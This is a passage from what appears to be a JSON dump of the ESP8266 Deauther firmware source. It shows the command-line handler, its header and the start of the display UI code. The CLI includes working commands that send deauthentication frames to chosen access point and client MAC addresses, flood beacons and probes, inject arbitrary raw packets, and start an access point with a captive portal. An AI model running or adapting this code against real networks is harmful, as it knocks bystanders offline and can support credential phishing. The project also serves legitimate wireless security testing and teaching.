prntln(String(random(16, 255), HEX));\n                }\n            }\n            prnt(POINT);\n            delay(100 * multi * multi);\n            i++;\n        }\n    }\n\n    // ===== LOAD/SAVE ===== //\n    // save [<type>] [<file>]\n    // load [<type>] [<file>]\n    else if ((eqlsCMD(0, CLI_LOAD) || eqlsCMD(0, CLI_SAVE)) && (list->size() >= 1) && (list->size() <= 3)) {\n        bool load = eqlsCMD(0, CLI_LOAD);\n\n        if ((list->size() == 1) || eqlsCMD(1, CLI_ALL)) {\n            load ? ssids.load() : ssids.save(false);\n            load ? names.load() : names.save(false);\n            load ? settings::load() : settings::save(false);\n\n            if (!load) scan.save(false);\n            return;\n        }\n\n        if (list->size() == 3) { // Todo: check if -f or filename\n            if (eqlsCMD(1, CLI_SSID)) load ? ssids.load(list->get(2)) : ssids.save(true, list->get(2));\n            else if (eqlsCMD(1, CLI_NAME)) load ? names.load(list->get(2)) : names.save(true, list->get(2));\n            // else if (eqlsCMD(1, CLI_SETTING)) load ? settings::load(list->get(2)) : settings::save(true, list->get(2));\n            else parameterError(list->get(1));\n        } else {\n            if (eqlsCMD(1, CLI_SSID)) load ? ssids.load() : ssids.save(true);\n            else if (eqlsCMD(1, CLI_NAME)) load ? names.load() : names.save(true);\n            else if (eqlsCMD(1, CLI_SETTING)) load ? settings::load() : settings::save(true);\n            else if ((eqlsCMD(1, CLI_SCAN) || eqlsCMD(1, CLI_AP) || eqlsCMD(1, CLI_STATION)) && !load) scan.save(true);\n            else parameterError(list->get(1));\n        }\n    }\n\n    // ===== ATTACK ===== //\n    // attack [-b] [-d] [-da] [p] [-t <timeout>]\n    // attack status [<on/off>]\n    else if (eqlsCMD(0, CLI_ATTACK)) {\n        if (eqlsCMD(1, CLI_STATUS)) {\n            if (list->size() == 2) {\n                attack.status();\n            } else {\n                if (eqlsCMD(2, CLI_ON)) attack.enableOutput();\n                else if (eqlsCMD(2, CLI_OFF)) attack.disableOutput();\n                else parameterError(list->get(2));\n            }\n            return;\n        }\n\n        bool beacon      = false;\n        bool deauth      = false;\n        bool deauthAll   = false;\n        bool probe       = false;\n        bool output      = true;\n        uint32_t timeout = settings::getAttackSettings().timeout * 1000;\n\n        for (int i = 1; i < list->size(); i++) {\n            if (eqlsCMD(i, CLI_BEACON)) beacon = true;\n            else if (eqlsCMD(i, CLI_DEAUTH)) deauth = true;\n            else if (eqlsCMD(i, CLI_DEAUTHALL)) deauthAll = true;\n            else if (eqlsCMD(i, CLI_PROBE)) probe = true;\n            else if (eqlsCMD(i, CLI_NOOUTPUT)) output = false;\n            else if (eqlsCMD(i, CLI_TIMEOUT)) {\n                timeout = getTime(list->get(i + 1));\n                i++;\n            }\n            else parameterError(list->get(i));\n        }\n\n        attack.start(beacon, deauth, deauthAll, probe, output, timeout);\n    }\n\n    // ===== GET/SET ===== //\n    // get <setting>\n    else if (eqlsCMD(0, CLI_GET) /*&& (list->size() == 2)*/) {\n        String _tmp     = list->get(1);\n        const char* str = _tmp.c_str();\n\n        if (eqls(str, \"settings\")) settings::print();\n\n        // Version\n        else if (eqls(str, S_JSON_VERSION)) prntln(DEAUTHER_VERSION);\n        else if (eqls(str, S_JSON_AUTOSAVE)) prntln(settings::getAutosaveSettings().enabled);\n        else if (eqls(str, S_JSON_AUTOSAVETIME)) prntln(settings::getAutosaveSettings().time);\n\n        // Attack\n        else if (eqls(str, S_JSON_BEACONCHANNEL)) prntln((int)settings::getAttackSettings().attack_all_ch);\n        else if (eqls(str, S_JSON_RANDOMTX)) prntln(settings::getAttackSettings().random_tx);\n        else if (eqls(str, S_JSON_ATTACKTIMEOUT)) prntln(settings::getAttackSettings().timeout);\n        else if (eqls(str, S_JSON_DEAUTHSPERTARGET)) prntln(settings::getAttackSettings().deauths_per_target);\n        else if (eqls(str, S_JSON_DEAUTHREASON)) prntln(settings::getAttackSettings().deauth_reason);\n        else if (eqls(str, S_JSON_BEACONINTERVAL)) prntln((bool)settings::getAttackSettings().beacon_interval);\n        else if (eqls(str, S_JSON_PROBESPERSSID)) prntln(settings::getAttackSettings().probe_frames_per_ssid);\n\n        // WiFi\n        else if (eqls(str, S_JSON_CHANNEL)) prntln(settings::getWifiSettings().channel);\n        else if (eqls(str, S_JSON_MACST)) prntln(macToStr(settings::getWifiSettings().mac_st));\n        else if (eqls(str, S_JSON_MACAP)) prntln(macToStr(settings::getWifiSettings().mac_ap));\n\n        // Sniffer\n        else if (eqls(str, S_JSON_CHTIME)) prntln(settings::getSnifferSettings().channel_time);\n        else if (eqls(str, S_JSON_MIN_DEAUTHS)) prntln(settings::getSnifferSettings().min_deauth_frames);\n\n        // AP\n        else if (eqls(str, S_JSON_SSID)) prntln(settings::getAccessPointSettings().ssid);\n        else if (eqls(str, S_JSON_PASSWORD)) prntln(settings::getAccessPointSettings().password);\n        else if (eqls(str, S_JSON_HIDDEN)) prntln(settings::getAccessPointSettings().hidden);\n        else if (eqls(str, S_JSON_IP)) prntln(settings::getAccessPointSettings().ip);\n\n        // Web\n        else if (eqls(str, S_JSON_WEBINTERFACE)) prntln(settings::getWebSettings().enabled);\n        else if (eqls(str, S_JSON_CAPTIVEPORTAL)) prntln(settings::getWebSettings().captive_portal);\n        else if (eqls(str, S_JSON_WEB_SPIFFS)) prntln(settings::getWebSettings().use_spiffs);\n        else if (eqls(str, S_JSON_LANG)) prntln(settings::getWebSettings().lang, 3);\n\n        // CLI\n        else if (eqls(str, S_JSON_SERIALINTERFACE)) prntln(settings::getCLISettings().enabled);\n        else if (eqls(str, S_JSON_SERIAL_ECHO)) prntln(settings::getCLISettings().serial_echo);\n\n        // LED\n        else if (eqls(str, S_JSON_LEDENABLED)) prntln(settings::getLEDSettings().enabled);\n\n        // Display\n        else if (eqls(str, S_JSON_DISPLAYINTERFACE)) prntln(settings::getDisplaySettings().enabled);\n        else if (eqls(str, S_JSON_DISPLAY_TIMEOUT)) prntln(settings::getDisplaySettings().timeout);\n\n        else {\n            prnt(_tmp);\n            prntln(\" setting not found\");\n        }\n    }\n\n    // set <setting> <value>\n    else if (eqlsCMD(0, CLI_SET) && (list->size() == 3)) {\n        String _tmp     = list->get(1);\n        const char* str = _tmp.c_str();\n\n        String   strVal      = list->get(2);\n        bool     boolVal     = s2b(strVal);\n        int      intVal      = strVal.toInt();\n        uint32_t unsignedVal = intVal < 0 ? 0 : (uint32_t)intVal;\n\n        settings_t newSettings = settings::getAllSettings();\n\n        // Autosave\n        if (eqls(str, S_JSON_AUTOSAVE)) newSettings.autosave.enabled = boolVal;\n        else if (eqls(str, S_JSON_AUTOSAVETIME)) newSettings.autosave.time = unsignedVal;\n\n        // Attack\n        else if (eqls(str, S_JSON_BEACONCHANNEL)) newSettings.attack.attack_all_ch = boolVal;\n        else if (eqls(str, S_JSON_RANDOMTX)) newSettings.attack.random_tx = boolVal;\n        else if (eqls(str, S_JSON_ATTACKTIMEOUT)) newSettings.attack.timeout = unsignedVal;\n        else if (eqls(str, S_JSON_DEAUTHSPERTARGET)) newSettings.attack.deauths_per_target = unsignedVal;\n        else if (eqls(str, S_JSON_DEAUTHREASON)) newSettings.attack.deauth_reason = unsignedVal;\n        else if (eqls(str, S_JSON_BEACONINTERVAL)) newSettings.attack.beacon_interval = (beacon_interval_t)boolVal;\n        else if (eqls(str, S_JSON_PROBESPERSSID)) newSettings.attack.probe_frames_per_ssid = unsignedVal;\n\n        // WiFi\n        else if (eqls(str, S_JSON_CHANNEL)) newSettings.wifi.channel = unsignedVal;\n        else if (eqls(str, S_JSON_MACST)) strToMac(strVal, newSettings.wifi.mac_st);\n        else if (eqls(str, S_JSON_MACAP)) strToMac(strVal, newSettings.wifi.mac_ap);\n\n        // Sniffer\n        else if (eqls(str, S_JSON_CHTIME)) newSettings.sniffer.channel_time = unsignedVal;\n        else if (eqls(str, S_JSON_MIN_DEAUTHS)) newSettings.sniffer.min_deauth_frames = unsignedVal;\n\n        // AP\n        else if (eqls(str, S_JSON_SSID)) strncpy(newSettings.ap.ssid, strVal.c_str(), 32);\n        else if (eqls(str, S_JSON_PASSWORD)) strncpy(newSettings.ap.password, strVal.c_str(), 64);\n        else if (eqls(str, S_JSON_HIDDEN)) newSettings.ap.hidden = boolVal;\n        else if (eqls(str, S_JSON_IP)) strToIP(strVal, newSettings.ap.ip);\n\n        // Web\n        else if (eqls(str, S_JSON_WEBINTERFACE)) newSettings.web.enabled = boolVal;\n        else if (eqls(str, S_JSON_CAPTIVEPORTAL)) newSettings.web.captive_portal = boolVal;\n        else if (eqls(str, S_JSON_WEB_SPIFFS)) newSettings.web.use_spiffs = boolVal;\n        else if (eqls(str, S_JSON_LANG)) strncpy(newSettings.web.lang, strVal.c_str(), 3);\n\n        // CLI\n        else if (eqls(str, S_JSON_SERIALINTERFACE)) newSettings.cli.enabled = boolVal;\n        else if (eqls(str, S_JSON_SERIAL_ECHO)) newSettings.cli.serial_echo = boolVal;\n\n        // LED\n        else if (eqls(str, S_JSON_LEDENABLED)) newSettings.led.enabled = boolVal;\n\n        // Display\n        else if (eqls(str, S_JSON_DISPLAYINTERFACE)) newSettings.display.enabled = boolVal;\n        else if (eqls(str, S_JSON_DISPLAY_TIMEOUT)) newSettings.display.timeout = unsignedVal;\n\n        else {\n            prnt(str);\n            prntln(\" not found\");\n            return;\n        }\n\n        prnt(\"Set \");\n        prnt(str);\n        prnt(\" = \");\n        prntln(strVal);\n\n        settings::setAllSettings(newSettings);\n    }\n\n    // ====== CHICKEN ===== //\n    else if (eqlsCMD(0, CLI_CHICKEN)) {\n        prntln(CLI_CHICKEN_OUTPUT);\n    }\n\n    // ===== STOP ===== //\n    // stop [<mode>]\n    else if (eqlsCMD(0, CLI_STOP)) {\n        led::setMode(IDLE, true);\n\n        if ((list->size() >= 2) && !(eqlsCMD(1, CLI_ALL))) {\n            for (int i = 1; i < list->size(); i++) {\n                if (eqlsCMD(i, CLI_SCAN)) scan.stop();\n                else if (eqlsCMD(i, CLI_ATTACK)) attack.stop();\n                else if (eqlsCMD(i, CLI_SCRIPT)) this->stop();\n                else parameterError(list->get(i));\n            }\n        } else {\n            scan.stop();\n            attack.stop();\n            this->stop();\n        }\n    }\n\n    // ===== SYSTEM ===== //\n    // sysinfo\n    else if (eqlsCMD(0, CLI_SYSINFO)) {\n        prntln(CLI_SYSTEM_INFO);\n        char s[150];\n        sprintf(s, str(CLI_SYSTEM_OUTPUT).c_str(), 81920 - system_get_free_heap_size(),\n                100 - system_get_free_heap_size() / (81920 / 100), system_get_free_heap_size(),\n                system_get_free_heap_size() / (81920 / 100), 81920);\n        prntln(String(s));\n\n        prnt(CLI_SYSTEM_CHANNEL);\n        prntln(settings::getWifiSettings().channel);\n\n        uint8_t mac[6];\n\n        prnt(CLI_SYSTEM_AP_MAC);\n        wifi_get_macaddr(SOFTAP_IF, mac);\n        prntln(macToStr(mac));\n\n        prnt(CLI_SYSTEM_ST_MAC);\n        wifi_get_macaddr(STATION_IF, mac);\n        prntln(macToStr(mac));\n\n        FSInfo fs_info;\n        LittleFS.info(fs_info);\n        sprintf(s, str(\n                    CLI_SYSTEM_RAM_OUT).c_str(), fs_info.usedBytes, fs_info.usedBytes / (fs_info.totalBytes / 100), fs_info.totalBytes - fs_info.usedBytes,\n                (fs_info.totalBytes - fs_info.usedBytes) / (fs_info.totalBytes / 100), fs_info.totalBytes);\n        prnt(String(s));\n        sprintf(s, str(CLI_SYSTEM_SPIFFS_OUT).c_str(), fs_info.blockSize, fs_info.pageSize);\n        prnt(String(s));\n        prntln(CLI_FILES);\n        Dir dir = LittleFS.openDir(String(SLASH));\n\n        while (dir.next()) {\n            prnt(String(SPACE) + String(SPACE) + dir.fileName() + String(SPACE));\n            File f = dir.openFile(\"r\");\n            prnt(int(f.size()));\n            prntln(str(CLI_BYTES));\n        }\n        wifi::printStatus();\n        prntln(CLI_SYSTEM_FOOTER);\n    }\n\n    // ===== RESET ===== //\n    // reset\n    else if (eqlsCMD(0, CLI_RESET)) {\n        settings::reset();\n    }\n\n    // ===== CLEAR ===== //\n    // clear\n    else if (eqlsCMD(0, CLI_CLEAR)) {\n        for (int i = 0; i < 100; i++) prnt(HASHSIGN);\n\n        for (int i = 0; i < 60; i++) prntln();\n    }\n\n    // ===== REBOOT ===== //\n    // reboot\n    else if (eqlsCMD(0, CLI_REBOOT)) {\n        ESP.reset();\n    }\n\n    // ===== FORMAT ==== //\n    // format\n    else if (eqlsCMD(0, CLI_FORMAT)) {\n        prnt(CLI_FORMATTING_SPIFFS);\n        LittleFS.format();\n        prntln(SETUP_OK);\n    }\n\n    // ===== DELETE ==== //\n    // delete <file> [<lineFrom>] [<lineTo>]\n    else if ((list->size() >= 2) && eqlsCMD(0, CLI_DELETE)) {\n        if (list->size() == 2) {\n            // remove whole file\n            if (removeFile(list->get(1))) {\n                prnt(CLI_REMOVED);\n                prntln(list->get(1));\n            } else {\n                prnt(CLI_ERROR_REMOVING);\n                prntln(list->get(1));\n            }\n        } else {\n            // remove certain lines\n            int beginLine = list->get(2).toInt();\n            int endLine   = list->size() == 4 ? list->get(3).toInt() : beginLine;\n\n            if (removeLines(list->get(1), beginLine, endLine)) {\n                prnt(CLI_REMOVING_LINES);\n                prnt(beginLine);\n                prnt(String(SPACE) + String(DASH) + String(SPACE));\n                prnt(endLine);\n                prntln(String(SPACE) + list->get(1));\n            } else {\n                prnt(CLI_ERROR_REMOVING);\n                prntln(list->get(1));\n            }\n        }\n    }\n\n    // ===== COPY ==== //\n    // delete <file> <newfile>\n    else if ((list->size() == 3) && eqlsCMD(0, CLI_COPY)) {\n        if (copyFile(list->get(1), list->get(2))) {\n            prntln(CLI_COPIED_FILES);\n        } else {\n            prntln(CLI_ERROR_COPYING);\n        }\n    }\n\n    // ===== RENAME ==== //\n    // delete <file> <newfile>\n    else if ((list->size() == 3) && eqlsCMD(0, CLI_RENAME)) {\n        if (renameFile(list->get(1), list->get(2))) {\n            prntln(CLI_RENAMED_FILE);\n        } else {\n            prntln(CLI_ERROR_RENAMING_FILE);\n        }\n    }\n\n    // ===== WRITE ==== //\n    // write <file> <commands>\n    else if ((list->size() >= 3) && eqlsCMD(0, CLI_WRITE)) {\n        String path = list->get(1);\n        String buf  = String();\n\n        int listSize = list->size();\n\n        for (int i = 2; i < listSize; i++) {\n            buf += list->get(i);\n\n            if (i < listSize - 1) buf += SPACE;\n        }\n\n        prnt(CLI_WRITTEN);\n        prnt(buf);\n        prnt(CLI_TO);\n        prntln(list->get(1));\n\n        buf += NEWLINE;\n        appendFile(path, buf);\n    }\n\n    // ===== REPLACE ==== //\n    // replace <file> <line> <new-content>\n    else if ((list->size() >= 4) && eqlsCMD(0, CLI_REPLACE)) {\n        int line   = list->get(2).toInt();\n        String tmp = String();\n\n        for (int i = 3; i < list->size(); i++) {\n            tmp += list->get(i);\n\n            if (i < list->size() - 1) tmp += SPACE;\n        }\n\n        if (replaceLine(list->get(1), line, tmp)) {\n            prnt(CLI_REPLACED_LINE);\n            prnt(line);\n            prnt(CLI_WITH);\n            prntln(list->get(1));\n        } else {\n            prnt(CLI_ERROR_REPLACING_LINE);\n            prntln(list->get(1));\n        }\n    }\n\n    // ===== RUN ==== //\n    // run <file> [continue <num>]\n    else if ((list->size() >= 2) && eqlsCMD(0, CLI_RUN)) {\n        execFile(list->get(1));\n    }\n\n    // ===== PRINT ==== //\n    // print <file> [<lines>]\n    else if ((list->size() >= 2) && eqlsCMD(0, CLI_PRINT)) {\n        readFileToSerial(list->get(1), eqlsCMD(2, CLI_LINE));\n        prntln();\n    }\n\n    // ===== INFO ===== //\n    // info\n    else if (eqlsCMD(0, CLI_INFO)) {\n        prntln(CLI_INFO_HEADER);\n        prnt(CLI_INFO_SOFTWARE);\n        prntln(DEAUTHER_VERSION);\n        prntln(CLI_INFO_COPYRIGHT);\n        prntln(CLI_INFO_LICENSE);\n        prntln(CLI_INFO_ADDON);\n        prntln(CLI_INFO_HEADER);\n    }\n\n    // ===== SEND ===== //\n    // send deauth <apMac> <stMac> <rason> <channel>\n    else if (eqlsCMD(0, CLI_SEND) && (list->size() == 6) && eqlsCMD(1, CLI_DEAUTH)) {\n        uint8_t apMac[6];\n        uint8_t stMac[6];\n        strToMac(list->get(2), apMac);\n        strToMac(list->get(3), stMac);\n        uint8_t reason  = list->get(4).toInt();\n        uint8_t channel = list->get(5).toInt();\n        prnt(CLI_DEAUTHING);\n        prnt(macToStr(apMac));\n        prnt(CLI_ARROW);\n        prntln(macToStr(stMac));\n        attack.deauthDevice(apMac, stMac, reason, channel);\n    }\n\n    // send beacon <mac> <ssid> <ch> [wpa2]\n    else if (eqlsCMD(0, CLI_SEND) && (list->size() >= 5) && eqlsCMD(1, CLI_BEACON)) {\n        uint8_t mac[6];\n        strToMac(list->get(2), mac);\n        uint8_t channel = list->get(4).toInt();\n        String  ssid    = list->get(3);\n\n        for (int i = ssid.length(); i < 32; i++) ssid += SPACE;\n        prnt(CLI_SENDING_BEACON);\n        prnt(list->get(3));\n        prntln(DOUBLEQUOTES);\n        attack.sendBeacon(mac, ssid.c_str(), channel, eqlsCMD(5, CLI_WPA2));\n    }\n\n    // send probe <mac> <ssid> <ch>\n    else if (eqlsCMD(0, CLI_SEND) && (list->size() == 5) && eqlsCMD(1, CLI_PROBE)) {\n        uint8_t mac[6];\n        strToMac(list->get(2), mac);\n        uint8_t channel = list->get(4).toInt();\n        String  ssid    = list->get(3);\n\n        for (int i = ssid.length(); i < 32; i++) ssid += SPACE;\n        prnt(CLI_SENDING_PROBE);\n        prnt(list->get(3));\n        prntln(DOUBLEQUOTES);\n        attack.sendProbe(mac, ssid.c_str(), channel);\n    }\n\n    // send custom <packet>\n    else if (eqlsCMD(0, CLI_SEND) && eqlsCMD(1, CLI_CUSTOM)) {\n        String packetStr = list->get(2);\n        packetStr.replace(String(DOUBLEQUOTES), String());\n        uint16_t counter    = 0;\n        uint16_t packetSize = packetStr.length() / 2;\n        uint8_t  packet[packetSize];\n\n        for (int i = 0; i < packetSize; i++) packet[i] = strtoul((packetStr.substring(i * 2,\n                                                                                      i * 2 + 2)).c_str(), NULL, 16);\n\n        if (attack.sendPacket(packet, packetSize, wifi_channel, true)) {\n            prntln(CLI_CUSTOM_SENT);\n            counter++;\n        } else {\n            prntln(CLI_CUSTOM_FAILED);\n        }\n    }\n\n    // ===== LED ===== //\n    // led <r> <g> <b> [<brightness>]\n    else if ((list->size() == 4) && eqlsCMD(0, CLI_LED)) {\n        led::setColor(list->get(1).toInt(), list->get(2).toInt(), list->get(3).toInt());\n    }\n\n    // led <#rrggbb> [<brightness>]\n    else if ((list->size() == 2) &&\n             eqlsCMD(0, CLI_LED) && (list->get(1).charAt(0) == HASHSIGN)) {\n        uint8_t c[3];\n        strToColor(list->get(1), c);\n\n        led::setColor(c[0], c[1], c[2]);\n    }\n\n    // ===== DELAY ===== //\n    else if ((list->size() == 2) && eqlsCMD(0, CLI_DELAY)) {\n        uint32_t endTime = currentTime + getTime(list->get(1));\n\n        while (currentTime < endTime) {\n            // ------- loop function ----- //\n            currentTime = millis();\n\n            wifi::update();  // manage access point\n            scan.update();   // run scan\n            attack.update(); // run attacks\n            ssids.update();  // run random mode, if enabled\n            led::update();   // update LED color\n\n            // auto-save\n            if (settings::getAutosaveSettings().enabled && (currentTime - autosaveTime > settings::getAutosaveSettings().time)) {\n                autosaveTime = currentTime;\n                names.save(false);\n                ssids.save(false);\n                settings::save(false);\n            }\n            // ------- loop function end ----- //\n            yield();\n        }\n    }\n\n    // ===== DRAW ===== //\n    else if (eqlsCMD(0, CLI_DRAW)) {\n        int height = 25;\n        int width  = 2;\n\n        if (list->size() >= 2) height = list->get(1).toInt();\n\n        if (list->size() >= 3) width = list->get(2).toInt();\n        double scale = scan.getScaleFactor(height);\n\n        prnt(String(DASH) + String(DASH) + String(DASH) + String(DASH) + String(VERTICALBAR)); // ----|\n\n        for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {\n            for (int k = 0; k < width; k++) prnt(EQUALS);\n        }\n        prntln(VERTICALBAR);\n\n        for (int i = height; i >= 0; i--) {\n            char s[200];\n\n            if (i == height) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(),\n                                     scan.getMaxPacket() > (uint32_t)height ? scan.getMaxPacket() : (uint32_t)height);\n            else if (i == height / 2) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(),\n                                              scan.getMaxPacket() >\n                                              (uint32_t)height ? scan.getMaxPacket() / 2 : (uint32_t)height / 2);\n            else if (i == 0) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(), 0);\n            else {\n                s[0] = SPACE;\n                s[1] = SPACE;\n                s[2] = SPACE;\n                s[3] = SPACE;\n                s[4] = ENDOFLINE;\n            }\n            prnt(String(s));\n\n            prnt(VERTICALBAR);\n\n            for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {\n                if (scan.getPackets(j) * scale > i) {\n                    for (int k = 0; k < width; k++) prnt(HASHSIGN);\n                } else {\n                    for (int k = 0; k < width; k++) prnt(SPACE);\n                }\n            }\n            prntln(VERTICALBAR);\n        }\n\n        prnt(String(DASH) + String(DASH) + String(DASH) + String(DASH) + String(VERTICALBAR)); // ----|\n\n        for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {\n            for (int k = 0; k < width; k++) prnt(EQUALS);\n        }\n        prntln(VERTICALBAR);\n\n        prnt(String(SPACE) + String(SPACE) + String(SPACE) + String(SPACE) + String(VERTICALBAR));\n\n        for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {\n            char   s[6];\n            String helper = String(PERCENT) + DASH + (String)width + D;\n\n            if (j == 0) sprintf(s, helper.c_str(), SCAN_PACKET_LIST_SIZE - 1);\n            else if (j == SCAN_PACKET_LIST_SIZE / 2) sprintf(s, helper.c_str(), SCAN_PACKET_LIST_SIZE / 2);\n            else if (j == SCAN_PACKET_LIST_SIZE - 1) sprintf(s, helper.c_str(), 0);\n            else {\n                int k;\n\n                for (k = 0; k < width; k++) s[k] = SPACE;\n                s[k] = ENDOFLINE;\n            }\n            prnt(s);\n        }\n        prntln(VERTICALBAR);\n    }\n\n    // ===== START/STOP AP ===== //\n    // startap [-p <path][-s <ssid>] [-pswd <password>] [-ch <channel>] [-h] [-cp]\n    else if (eqlsCMD(0, CLI_STARTAP)) {\n        String path          = String(F(\"/web\"));\n        String ssid          = settings::getAccessPointSettings().ssid;\n        String password      = settings::getAccessPointSettings().password;\n        int    ch            = wifi_channel;\n        bool   hidden        = settings::getAccessPointSettings().hidden;\n        bool   captivePortal = settings::getWebSettings().captive_portal;\n\n        for (int i = 1; i < list->size(); i++) {\n            if (eqlsCMD(i, CLI_PATH)) {\n                i++;\n                path = list->get(i);\n            } else if (eqlsCMD(i, CLI_SSID)) {\n                i++;\n                ssid = list->get(i);\n            } else if (eqlsCMD(i, CLI_PASSWORD)) {\n                i++;\n                password = list->get(i);\n            } else if (eqlsCMD(i, CLI_CHANNEL)) {\n                i++;\n                ch = list->get(i).toInt();\n            } else if (eqlsCMD(i, CLI_HIDDEN)) {\n                hidden = true;\n            } else if (eqlsCMD(i, CLI_CAPTIVEPORTAL)) {\n                captivePortal = true;\n            } else {\n                parameterError(list->get(1));\n            }\n        }\n\n        wifi::startNewAP(path, ssid, password, ch, hidden, captivePortal);\n    }\n\n    // stopap\n    else if (eqlsCMD(0, CLI_STOPAP)) {\n        wifi::stopAP();\n    }\n\n    // ===== SCREEN ===== //\n    // screen mode <menu/packetmonitor/buttontest/loading>\n    else if (eqlsCMD(0, CLI_SCREEN) && eqlsCMD(1, CLI_MODE)) {\n        if (eqlsCMD(2, CLI_MODE_BUTTONTEST)) displayUI.mode = DISPLAY_MODE::BUTTON_TEST;\n        else if (eqlsCMD(2, CLI_MODE_PACKETMONITOR)) displayUI.mode = DISPLAY_MODE::PACKETMONITOR;\n        else if (eqlsCMD(2, CLI_MODE_LOADINGSCREEN)) displayUI.mode = DISPLAY_MODE::LOADSCAN;\n        else if (eqlsCMD(2, CLI_MODE_MENU)) displayUI.mode = DISPLAY_MODE::MENU;\n        else parameterError(list->get(2));\n        prntln(CLI_CHANGED_SCREEN);\n    }\n\n    // screen <on/off>\n    else if (eqlsCMD(0, CLI_SCREEN) && (eqlsCMD(1, CLI_ON) || eqlsCMD(1, CLI_OFF))) {\n        if (eqlsCMD(1, CLI_ON)) {\n            displayUI.on();\n        } else if (eqlsCMD(1, CLI_OFF)) {\n            displayUI.off();\n        }\n    }\n\n    // ===== NOT FOUND ===== //\n    else {\n        prnt(CLI_ERROR_NOT_FOUND_A);\n        prnt(input);\n        prntln(CLI_ERROR_NOT_FOUND_B);\n        // some debug stuff\n\n        /*\n           Serial.println(list->get(0));\n           for(int i=0;i<input.length();i++){\n           Serial.print(input.charAt(i), HEX);\n           Serial.print(' ');\n           }\n         */\n    }\n}"
  },
  {
    "path": "esp8266_deauther/CLI.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"Arduino.h\"\n#include <ESP8266WiFi.h>\nextern \"C\" {\n  #include \"user_interface.h\"\n}\n#include \"language.h\"\n#include \"A_config.h\"\n#include \"SimpleList.h\"\n#include \"Names.h\"\n#include \"SSIDs.h\"\n#include \"Scan.h\"\n#include \"Attack.h\"\n#include \"DisplayUI.h\"\n#include \"led.h\"\n\nextern Names names;\nextern SSIDs ssids;\nextern Accesspoints accesspoints;\nextern Stations     stations;\nextern Scan   scan;\nextern Attack attack;\nextern DisplayUI displayUI;\nextern uint32_t  currentTime;\nextern uint32_t  autosaveTime;\n\nextern String macToStr(const uint8_t* mac);\nextern bool strToMac(String macStr, uint8_t* mac);\nextern bool strToIP(String ipStr, uint8_t* ip);\nextern void strToColor(String str, uint8_t* buf);\nextern void readFileToSerial(String path, bool showLineNum);\nextern bool readFile(String path, String& buf);\nextern bool removeFile(String path);\nextern bool copyFile(String pathFrom, String pathTo);\nextern bool renameFile(String pathFrom, String pathTo);\nextern bool appendFile(String path, String& buf);\nextern bool removeLines(String path, int lineFrom, int lineTo);\nextern bool replaceLine(String path, int line, String& buf);\nextern bool equalsKeyword(const char* str, const char* keyword);\n\nclass CLI {\n    public:\n        CLI();\n        ~CLI();\n\n        void load();\n        void load(String filepath);\n\n        void enable();\n        void disable();\n\n        void update();\n        void stop();\n\n        void enableDelay(uint32_t delayTime);\n\n        void exec(String input);\n        void execFile(String path);\n        void runLine(String input);\n        void runCommand(String input);\n\n    private:\n        bool enabled = false;\n\n        SimpleList<String>* list;\n        SimpleList<String>* queue;\n\n        bool delayed            = false;\n        uint32_t delayTime      = 0;\n        uint32_t delayStartTime = 0;\n\n        String execPath = \"/autostart.txt\";\n\n        struct Keyword {\n            const char* name;\n            const char* shortName;\n            const char* alt;\n        };\n\n        void error(String message);\n        void parameterError(String parameter);\n        bool isInt(String str);\n        int toInt(String str);\n        uint32_t getTime(String time);\n        bool eqlsCMD(int i, const char* keyword);\n};"
  },
  {
    "path": "esp8266_deauther/DisplayUI.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"DisplayUI.h\"\n\n#include \"settings.h\"\n\n// ===== adjustable ===== //\nvoid DisplayUI::configInit() {\n    // initialize display\n    display.init();\n\n    /*\n       In case of a compiler (conversion char/uint8_t) error,\n       make sure to have version 4 of the display library installed\n       https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0\n     */\n    display.setFont(DejaVu_Sans_Mono_12);\n\n    display.setContrast(255);\n\n    if (FLIP_DIPLAY) display.flipScreenVertically();\n\n    display.clear();\n    display.display();\n}\n\nvoid DisplayUI::configOn() {\n    display.displayOn();\n}\n\nvoid DisplayUI::configOff() {\n    display.displayOff();\n}\n\nvoid DisplayUI::updatePrefix() {\n    display.clear();\n}\n\nvoid DisplayUI::updateSuffix() {\n    display.display();\n}\n\nvoid DisplayUI::drawString(int x, int y, String str) {\n    display.drawString(x, y, replaceUtf8(str, String(QUESTIONMARK)));\n}\n\nvoid DisplayUI::drawString(int row, String str) {\n    drawString(0, row * lineHeight, str);\n}\n\nvoid DisplayUI::drawLine(int x1, int y1, int x2, int y2) {\n    display.drawLine(x1, y1, x2, y2);\n}\n\n// ====================== //\n\n\nDisplayUI::DisplayUI() {}\n\nDisplayUI::~DisplayUI() {}\n\n\nvoid DisplayUI::setup() {\n    configInit();\n    setupButtons();\n    buttonTime = currentTime;\n\n#ifdef RTC_DS3231\n    bool h12;\n    bool PM_time;\n    clock.setClockMode(false);\n    clockHour   = clock.getHour(h12, PM_time);\n    clockMinute = clock.getMinute();\n#else // ifdef RTC_DS3231\n    clockHour   = random(12);\n    clockMinute = random(60);\n#endif // ifdef RTC_DS3231\n\n    // ===== MENUS ===== //\n\n    // MAIN MENU\n    createMenu(&mainMenu, NULL, [this]() {\n        addMenuNode(&mainMenu, D_SCAN, &scanMenu);          /// SCAN\n        addMenuNode(&mainMenu, D_SHOW, &showMenu);          // SHOW\n        addMenuNode(&mainMenu, D_ATTACK, &attackMenu);      // ATTACK\n        addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR\n            scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel);\n            mode = DISPLAY_MODE::PACKETMONITOR;\n        });\n        addMenuNode(&mainMenu, D_CLOCK, &clockMenu); // CLOCK\n\n#ifdef HIGHLIGHT_LED\n        addMenuNode(&mainMenu, D_LED, [this]() {     // LED\n            highlightLED = !highlightLED;\n            digitalWrite(HIGHLIGHT_LED, highlightLED);\n        });\n#endif // ifdef HIGHLIGHT_LED\n    });\n\n    // SCAN MENU\n    createMenu(&scanMenu, &mainMenu, [this]() {\n        